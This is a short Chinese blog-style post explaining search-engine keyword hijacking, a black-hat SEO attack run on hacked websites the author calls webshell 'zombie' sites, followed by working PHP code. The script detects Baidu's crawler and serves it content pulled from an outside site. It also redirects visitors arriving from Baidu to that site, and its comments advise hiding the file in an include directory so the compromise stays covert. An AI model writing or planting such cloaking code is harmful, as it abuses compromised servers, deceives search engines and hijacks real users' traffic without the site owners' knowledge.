其实原理很简单:

搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:

if(来访者是蜘蛛){

输出指定内容

}

if(用户是从搜索引擎点击进入网站的){

跳转我们希望跳转的站点B

}

所以我们可以达到如下效果:

针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。

表达能力有限,说了这么多也不知道大家明白没有。。。

那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

################################################

# 可以把本文件放在类似inc、include这样的目录中 #

# 首页require_once(‘本文件路径’);就可以了 #

# 这样会比较隐蔽 #

################################################

if (ereg(“http://www.baidu.com/search/spider.htm”, $_SERVER[“HTTP_USER_AGENT”])) {

//判断搜索引擎,这里是百度,可以自行添加蜘蛛

/*

Header(“HTTP/1.1 301 Moved Permanently”);

Header(“Location: http://www.hccbbs.com/”);

//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话…

*/

$file = file_get_contents(‘http://www.hccbbs.com/forum.php’);

echo $file;//输出指定文件内容

exit;

}

//判断来路

if(stristr ($_SERVER[‘HTTP_REFERER’],”baidu.com”)) {//如果用户来自baidu.com

//Header(“HTTP/1.1 301 Moved Permanently”);//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用

Header(“Location: http://www.hccbbs.com/”);//跳转

exit;

}

?>

最近想搞搜索引擎关键词劫持,所以看了一下这方面的资料,加上稍微会那么一丁点php,所以写了个php的,见笑。